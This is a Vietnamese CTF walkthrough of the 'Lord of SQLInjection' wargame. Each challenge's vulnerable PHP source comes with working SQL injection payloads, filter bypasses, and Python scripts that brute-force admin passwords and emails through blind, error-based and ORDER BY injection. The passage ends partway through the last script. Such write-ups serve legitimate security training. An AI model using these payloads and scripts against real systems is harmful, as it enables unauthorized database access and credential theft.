# LOS - LORD OF SQLINJECTION
## gremlin
Source:
```
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("gremlin");
highlight_file(__FILE__);
?>
```
Bài nhận vào 2 tham số `id` và `pw` qua method GET. Do không có filter gì đặc biệt nên chỉ cần dùng payload đơn giản:
`?id=1' or 1=1;-- -&pw=1`
## cobolt
Source:
```
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("cobolt");
elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";
highlight_file(__FILE__);
?>
```
Bài nhận vào 2 tham số `id` và `pw` từ method GET.
Khác với bài trước thì `pw` được bỏ vào `md5()` nghĩa là phần này không inject được. Bài cũng kiểm tra `$result['id'] == 'admin'`. Khi `id=1' or 1=1;-- -` thì kết quả trả về là hàng đâu tiên không phải admin, vậy chỉ cần dùng `limit` để lấy hàng khác và kết quả là hàng thứ 2:
`?id=0' or 1=1 limit 1,1;-- -&pw=abc`
## goblin
Source:
```
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~");
$query = "select id from prob_goblin where id='guest' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("goblin");
highlight_file(__FILE__);
?>
```
Bài nhận vào tham số `no` qua method GET. Bài này truy vấn với `id='guest'` nhưng kết quả phải là `$result['id'] == 'admin'`. Cũng như bài trước, dùng limit để lấy hàng của admin và nó cũng ở hàng thứ 2:
`no=1 or 1=1 limit 1,1;`
## orc
Source:
```
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello admin</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
highlight_file(__FILE__);
?>
```
Bài này nhận vào tham số `pw`. Để giải bài này thì `pw` nhập vào phải giống với `pw` của kết quả: `$result['pw'] == $_GET['pw']`. Vậy cần brute-force `pw`. Khi có kết quả trả về thì xuất hiện `Hello admin` và nếu sai có thì không xuất hiện. Ví dụ:
- `?pw=' or 1=1;-- -'` => xuất hiện `Hello admin`
- `?pw=' or 1=2;-- -'` => không xuất hiện
Bây giờ chỉ việc brute-force bằng `SUBSTR()` và dùng `ASCII()` để chuyển ký tự qua dạng số trong bảng mã ASCII.
```
import requests
url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
cookies= {
"PHPSESSID":"5vf14lhbo6crtdjs9ajc93421e"
}
pw=''
for i in range(1,9):
for j in range(48,123):
payload="?pw=' or ASCII(SUBSTR(pw,{},1))={};-- -".format(i,j)
r=requests.get(url=url+payload, cookies=cookies)
if "Hello admin" in r.text:
pw+=chr(j)
print(pw)
break
```
Việc mình vòng for đầu là `range(1,9)` do mình biết trước độ dài pw là 8 (sử dụng `length()` để check) hoặc cũng có thể chọn số lớn hơn để khỏi check.
Kết quả :
`pw=095a9852`
## wolfman
Source:
```
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");
$query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("wolfman");
highlight_file(__FILE__);
?>
```
Bài nhận vào tham số `pw`, đồng thời bị filter khoảng trắng: `if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");`
Để bypass khoảng trắng có thể dùng comment: `/**/`.
`?pw=1'or/**/1=1/**/limit/**/1,1;%23`.
(`%23` là `#` , kết hợp thêm `limit` để lấy `admin`).
## darkelf
Source:
```
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("darkelf");
highlight_file(__FILE__);
?>
```
Bài nhận vào tham số `pw`, đồng thời bị filter `or` và `and`: `if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); `.
Bypass bằng cách sử dụng `||` hay `or` hoặc `&&` thay `and`. Thêm `limit` để lấy đúng kết quả `admin`:
`?pw=1'||1=1 limit 1,1;-- -`
## orge
Source:
```
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
highlight_file(__FILE__);
?>
```
Bài nhận vào tham số `pw` và nó bị đưa qua `addslashes($_GET[pw]);` đây là hàm sẽ thêm `\` vào trước các ký tự như `'`, `"`, `\`, `null`. Nếu `pw` bằng với pw ủa admin thì solve. Như bài trước thì sử dụng `||` thay `or`.
Thử với payload `1'|| 1=1;-- -` thì trả về `Hello guest` và nếu pw của admin thì nó sẽ trả về `Hello admin`. Dựa vào đó ta có thể brute-force. Mình dùng `ASCII` để đưa nó về dạng số trong mã ASCII:
```
import requests
url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'
cookies= {
"PHPSESSID":"83qeim1d0pae8n37hquqkmegft"
}
pw=''
for i in range(1,9):
for j in range(32,129):
payload="?pw=1'||ASCII(substr(pw,{},1))={};-- -".format(i,j)
r=requests.get(url=url+payload, cookies=cookies)
if "Hello admin" in r.text:
pw+=chr(j)
break
print("pw: "+pw+chr(j))
print("complete, pw= "+pw)
```
Kết quả: `pw=7b751aec`
## troll
Source:
```
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match("/admin/", $_GET[id])) exit("HeHe");
$query = "select id from prob_troll where id='{$_GET[id]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("troll");
highlight_file(__FILE__);
?>
```
Bài nhận vào tham số `id` nếu nó bằng với `admin` thì solve.
Tham số `id` bị filter `'` và `admin`. Nó được kẹp bởi `''` trong câu truy vấn nên cũng không dùng được với nhày kép `"`. Xem lại thì `preg_match("/admin/", $_GET[id])` regex này không có flag `i` (case-insensitive) nghĩa là nó đang phân biệt chữ hoa chữa thường, để bypass cái nyà => `id=Admin`
## vampire
Source:
```
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
$_GET[id] = strtolower($_GET[id]);
$_GET[id] = str_replace("admin","",$_GET[id]);
$query = "select id from prob_vampire where id='{$_GET[id]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("vampire");
highlight_file(__FILE__);
?>
```
Giống bài trước nhưng không thể làm vậy vì nó bị biến thành chữ thường qua hàm `strtolower($_GET[id])` đồng thời dùng hàm `str_replace("admin","",$_GET[id])` để xóa `admin`. Bản chất của `str_replace` là xử lý 1 lần mà không còn kiểm tra kết quả, vì vậy để bypass cái này => `id=adadminmin`
## skeleton
Source:
```
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("skeleton");
highlight_file(__FILE__);
?>
```
Bài nhận vào tham số `pw`, nhìn vào câu truy vấn có `and 1=0` nghĩa là nó không có kết quả trả về rồi. Do không bị filter `'` ta inject vào `1'or 1=1;-- -` để câu truy vấn luôn đúng. Nhưng để solve bài này thì kết quả trả về phải là admin, như những bài trước ta dùng thêm `limit`.
Payload: `pw=1' or 1=1 limit 1,1;-- -`
## golem
Source:
```
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
highlight_file(__FILE__);
?>
```
Cũng tương tự mấy bài trước, bài này ta brute-force pw của admin. Tuy nhiên, dấu `=` bị filter ta thay bằng `like`, thay `substr` bới `substring`, thay `or` bởi `||`
Solve:
```
import requests
url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
cookies= {
"PHPSESSID":"83qeim1d0pae8n37hquqkmegft"
}
pw=''
for i in range(1,9):
for j in range(32,127):
payload="?pw=1'|| ASCII(substring(pw,{},1)) like {};-- -".format(i,j)
r=requests.get(url=url+payload, cookies=cookies)
if "Hello admin" in r.text:
pw+=chr(j)
break
print("pw: "+pw+chr(j))
print("complete, pw= "+pw)
```
Kết quả: `pw=77d6290b`
## darkknight
Source:
```
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");
highlight_file(__FILE__);
?>
```
Bài này nhận vào tham số `pw` và `no`, nếu nó đúng với pw của admin thì solve. Như các bài trước thì bài này cũng brute-force.
Ta dùng `mid` để thay `substr`, dùng `ord` thay thế `ascii`, dấu `=` thay bằng `like`.
Solve:
```
import requests
url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
cookies= {
"PHPSESSID":"83qeim1d0pae8n37hquqkmegft"
}
pw=''
for i in range(1,9):
for j in range(48,123):
payload="?no=0||id like \"admin\" %26%26 ord(mid(pw,{},1)) like {};#".format(i,j)
r=requests.get(url=url+payload, cookies=cookies)
print("pw: "+pw)
if "Hello admin" in r.text:
pw+=chr(j)
break
print("complete, pw= "+pw)
```
Kết quả: `pw=0b70ea1f`
## bugbear
Source:
```
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear");
highlight_file(__FILE__);
?>
```
Giống bài trên nhưng nó thêm filter `like`, space ` ` và cả `ord`.
Ta sẽ dùng `hex` thay `ord` còn về việc so sánh các ký tự.
Về việc so sánh ta dùng `in`. Ví dụ: id like "admin" => id `in ("admin")`
Cuối cùng là space (` `) ta có thể dùng nhiều dấu ngoặc lồng nhau hoặc dùng `%09` (tab).
Solve:
```
import requests
url = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
cookies= {
"PHPSESSID":"83qeim1d0pae8n37hquqkmegft"
}
pw=''
for i in range(1,9):
for j in range(48,127):
payload='?no=1||id%09in%09("admin")%26%26hex(mid(pw,{},1))%09in%09(hex("{}"))'.format(i,chr(j))
r=requests.get(url=url+payload, cookies=cookies)
print("pw: "+pw)
if "Hello admin" in r.text:
pw+=chr(j)
break
print("complete, pw= "+pw)
```
Kết quả: `pw=52dc3991`
## giant
Source:
```
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(strlen($_GET[shit])>1) exit("No Hack ~_~");
if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe");
$query = "select 1234 from{$_GET[shit]}prob_giant where 1";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result[1234]) solve("giant");
highlight_file(__FILE__);
?>
```
Bài nhận vào tham số `shit` . Theo câu truy vấn để có kết quả trả về thì `shit` phải là cái gì đó để phân cách nhưng nó lại bị filter: `preg_match('/ |\n|\r|\t/i', $_GET[shit])` (trong URL encode là %20, %09, %0a, %0d) và đồng thời độ dài không được lớn hơn 1: `strlen($_GET[shit])>1`.
Solve: còn ký tự chưa bị filter là `%0b`(vertical tab) hoặc `%0c`
## assassin
Source:
```
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_assassin where pw like '{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("assassin");
highlight_file(__FILE__);
?>
```
Bài nhận vào tham số `pw` và so sánh nó vơi pw của admin qua `like` và bị filter `'`. Nhìn có vẻ đơn giản nhưng có 1 vấn đề ở đây. Đó là mình không lấy được `pw` của admin mà chỉ của guest. Nếu kết quả đúng thì pw của guest xếp trên admin nghĩa là truy vấn lấy 1 kết quả đầu tiên của guest chứ không match được với admin. Nếu bài cố tính như vậy dễ dàng đoán được pw của guest và admin trùng nhau 1 phần.
Đây là script của mình:
```
import requests
import string
LETTERS=string.ascii_letters+string.digits
url = 'https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php'
cookies= {
"PHPSESSID":"83qeim1d0pae8n37hquqkmegft"
}
pw=''
for i in range(1,9):
for i in LETTERS[::-1]:
payload="?pw={}%".format(pw+i)
r=requests.get(url=url+payload, cookies=cookies)
# print(payload)
print("pw= "+pw+i)
if "Hello admin" in r.text:
pw+=i
break
if "Hello guest" in r.text:
pw+=i
break
print("complete, pw= "+pw)
```
Mình đã dùng `[::-1]` để đảo ngược chuỗi vì nếu không làm thế sẽ bị match trước với guest thay vì admin.
Kết quả: `pw=902EFD10` (có vẻ pw không phân biệt chữ hoa chữ thường).
## succubus
Source:
```
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/\'/',$_GET[id])) exit("HeHe");
if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
$query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("succubus");
highlight_file(__FILE__);
?>
```
Bài nhận vào 2 tham số `id` và `pw`, bị filter dầu `'` và bài solve khi có kết quả trả về.
Ta sử dụng `\` để biến `'` như string và inject vào điều kiện đúng.
payload: `?id=\&pw= or id="admin"%23`
khi đó query: `select id from prob_succubus where id='\' and pw=' or id="admin"#'`
## zombie_assassin
Source:
```
<?php
include "./config.php";
login_chk();
$db = dbconnect();
$_GET['id'] = strrev(addslashes($_GET['id']));
$_GET['pw'] = strrev(addslashes($_GET['pw']));
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("zombie_assassin");
highlight_file(__FILE__);
?>
```
Bài này có thêm `addslashes()` và xử lý qua `strrev()` để đảo ngược chuỗi.
Ta dùng payload: `id="&pw=- --;1=1 ||`. Khi đó truy vấn là:
` select id from prob_zombie_assassin where id='"\' and pw='|| 1=1;-- -'`
Vậy là `\` biến `'` thành string.
## nightmare
Source:
```
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~");
if(strlen($_GET[pw])>6) exit("No Hack ~_~");
$query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("nightmare");
highlight_file(__FILE__);
?>
```
Bài nhận vào tham số `pw` với độ dài không được lớn hơn 6 ký tự và bị filter `#` và `-`. Trong câu truy vấn, pw được nằm trong `('pw')`.
Vì `('')` là một chuỗi rỗng và giá trị trả về là 0, nên nó trở thành đúng với bằng 0.
Vậy payload: `')=0;%00`. `%00` dùng để loại bỏ phía sau.
## xavis
Source:
```
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis");
highlight_file(__FILE__);
?>
```
Bài nhận vào tham số `pw` bị filter `like`, `regex`. Cũng như mấy bìa trước thì bài này phải brute-force pw của admin.
Bài này có vẻ đơn giản nhưng không `pw` lại là korean, :(
`pw=우왕굳`
## dragon
Source:
```
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("dragon");
highlight_file(__FILE__);
?>
```
Bài nhận vào tham số `pw` và câu truy vấn:
`select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'`
Nếu kết quả trả về là admin thì solve nhưng trong câu truy cấn có `#` nghĩa là comment hết đoạn phía sau.
Vậy ta nghĩ đến việc xuống dòng vì `#` chỉ commen được 1 dòng.
Payload:`pw=%0a and 1=0|| id='admin
## iron_golem
Source:
```
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(mysqli_error($db)) exit(mysqli_error($db));
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
highlight_file(__FILE__);
?>
```
Bài này nhận vào tham số `pw` và nếu `pw` là pw của admin thì solve. `sleep` và `benchmark` bị filter, vậy là không dùng được dạng time based. Để ý dòng:
`if(mysqli_error($db)) exit(mysqli_error($db));`
Vậy dựa vào error trả về để ta brute-force `pw`.
Ví dụ với: `pw=1' and (select 0 union select 1=1);%23` thì kết quả trả về là `Subquery returns more than 1 row` trong khi `pw=1' and (select 0 union select 1=0);%23` lại không có gì.
Solve:
```
import requests
import string
LETTERS=string.digits+string.ascii_letters
url = 'https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php'
cookies= {
"PHPSESSID":"tacpsf7m0d1vljqep5s9bu6tg2"
}
length=0
# brute-force lenght(pw)
for i in range (1,50):
payload="?pw=1' or id='admin' and (select 0 union select length(pw)={});%23".format(i)
r=requests.get(url=url+payload, cookies=cookies)
if "Subquery returns more than 1 row" in r.text:
length=i
print("length of pw: {}".format(length))
break
# brute-force pw
pw=''
for i in range(1,length+1):
for j in LETTERS:
payload="?pw=1' or id='admin' and (select 0 union select ascii(substring(pw,{},1))={});%23".format(i,ord(j))
r=requests.get(url=url+payload, cookies=cookies)
print("pw= "+pw+j)
if "Subquery returns more than 1 row" in r.text:
pw+=j
break
print("complete, pw= "+pw)
```
Kết quả: `pw06b5a6c16e8830475f983cc3a825ee9a`
## dark_eyes
Source:
```
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(mysqli_error($db)) exit();
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
highlight_file(__FILE__);
?>
```
Tương tự bài trên nhưng khác response
Solve:
```
import requests
import string
LETTERS=string.digits+string.ascii_letters
url = 'https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php'
cookies= {
"PHPSESSID":"tacpsf7m0d1vljqep5s9bu6tg2"
}
length=0
# brute-force lenght(pw)
for i in range (1,50):
payload="?pw=1' or id='admin' and (select 0 union select length(pw)={});%23".format(i)
r=requests.get(url=url+payload, cookies=cookies)
if "query" not in r.text:
length=i
print("length of pw: {}".format(length))
break
# brute-force pw
pw=''
for i in range(1,length+1):
for j in LETTERS:
payload="?pw=1' or id='admin' and (select 0 union select ascii(substring(pw,{},1))={});%23".format(i,ord(j))
r=requests.get(url=url+payload, cookies=cookies)
print("pw= "+pw+j)
if "query" not in r.text:
pw+=j
break
print("complete, pw= "+pw)
```
Kết quả: `pw=5a2f5d3c`
## hell_fire
Source:
```
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|proc|union/i', $_GET[order])) exit("No Hack ~_~");
$query = "select id,email,score from prob_hell_fire where 1 order by {$_GET[order]}";
echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
$rows = mysqli_query($db,$query);
while(($result = mysqli_fetch_array($rows))){
if($result['id'] == "admin") $result['email'] = "**************";
echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
}
echo "</table><hr>query : <strong>{$query}</strong><hr>";
$_GET[email] = addslashes($_GET[email]);
$query = "select email from prob_hell_fire where id='admin' and email='{$_GET[email]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['email']) && ($result['email'] === $_GET['email'])) solve("hell_fire");
highlight_file(__FILE__);
?>
```
Bài nhận vào tham số `oder`- nơi để inject và từ đó brute-force để lấy `email` của admin. Bài này không thể dùng `union` vì bị filter.
`order` dùng để sắp xếp, nhận thấy: nếu `order=id` thì `admin` xếp trên còn `order=score` thì `admin` xếp dưới.
Ta dùng `if(condition,score,999)`: nếu condition đúng thì `admin` xếp trên còn sai thì xếp dưới.
Solve:
```
import requests
import string
LETTERS=string.digits+string.ascii_letters+'@_.'
url = 'https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php'
cookies= {
"PHPSESSID":"tacpsf7m0d1vljqep5s9bu6tg2"
}
length=0
# brute-force lenght(email)
for i in range (1,50):
payload="?order=if((id='admin' and length(email)={}),score,9999)".format(i)
r=requests.get(url=url+payload, cookies=cookies)
if "<tr><th>id</th><th>email</th><th>score</th><tr><td>rubiya" in r.text:
length=i
print("length of email: {}".format(length))
break
# brute-force pw
email=''
for i in range(1,length+1):
for j in LETTERS:
payload="?order=if((id='admin' and ascii(substring(email,{},1))={}),score,9999)".format(i,ord(j))
r=requests.get(url=url+payload, cookies=cookies)
print("email= "+email+j)
if "<tr><th>id</th><th>email</th><th>score</th><tr><td>rubiya" in r.text:
email+=j
break
print("complete, email= "+email)
```
Kết quả: `email=admin_secure_email@emai1.com`
## evil_wizard
Source:
```
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|proc|union|sleep|benchmark/i', $_GET[order])) exit("No Hack ~_~");
$query = "select id,email,score from prob_evil_wizard where 1 order by {$_GET[order]}"; // same with hell_fire? really?
echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
$rows = mysqli_query($db,$query);
while(($result = mysqli_fetch_array($rows))){
if($result['id'] == "admin") $result['email'] = "**************";
echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
}
echo "</table><hr>query : <strong>{$query}</strong><hr>";
$_GET[email] = addslashes($_GET[email]);
$query = "select email from prob_evil_wizard where id='admin' and email='{$_GET[email]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['email']) && ($result['email'] === $_GET['email'])) solve("evil_wizard");
highlight_file(__FILE__);
?>
```
Bài này tương tự bài trên nhưng không thể dựa vào sắp xếp được nữa. Dùng time based cũng bị filter luôn.
Thay vào đó ta sử dụng 1 để có kết quả và 0 thì không có kết quả hiển thị.
Solve:
```
import requests
import string
LETTERS=string.digits+string.ascii_letters+'@_.'
url = 'https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php'
cookies= {
"PHPSESSID":"tacpsf7m0d1vljqep5s9bu6tg2"
}
length=0
# brute-force lenght(email)
for i in range (1,50):
payload="?order=if(id='admin' and LENGTH(email)={},0,1)".format(i)
r=requests.get(url=url+payload, cookies=cookies)
if "<tr><th>id</th><th>email</th><th>score</th><tr><td>admin" in r.text:
length=i
print("length of email: {}".format(length))
break
# brute-force pw
email=''
for i in range(1,length+1):
for j in LETTERS:
payload="?order=if(id='admin' and ascii(substring(email,{},1))={},0,1)".format(i,ord(j))
r=requests.get(url=url+payload, cookies=cookies)
print("email= "+email+j)
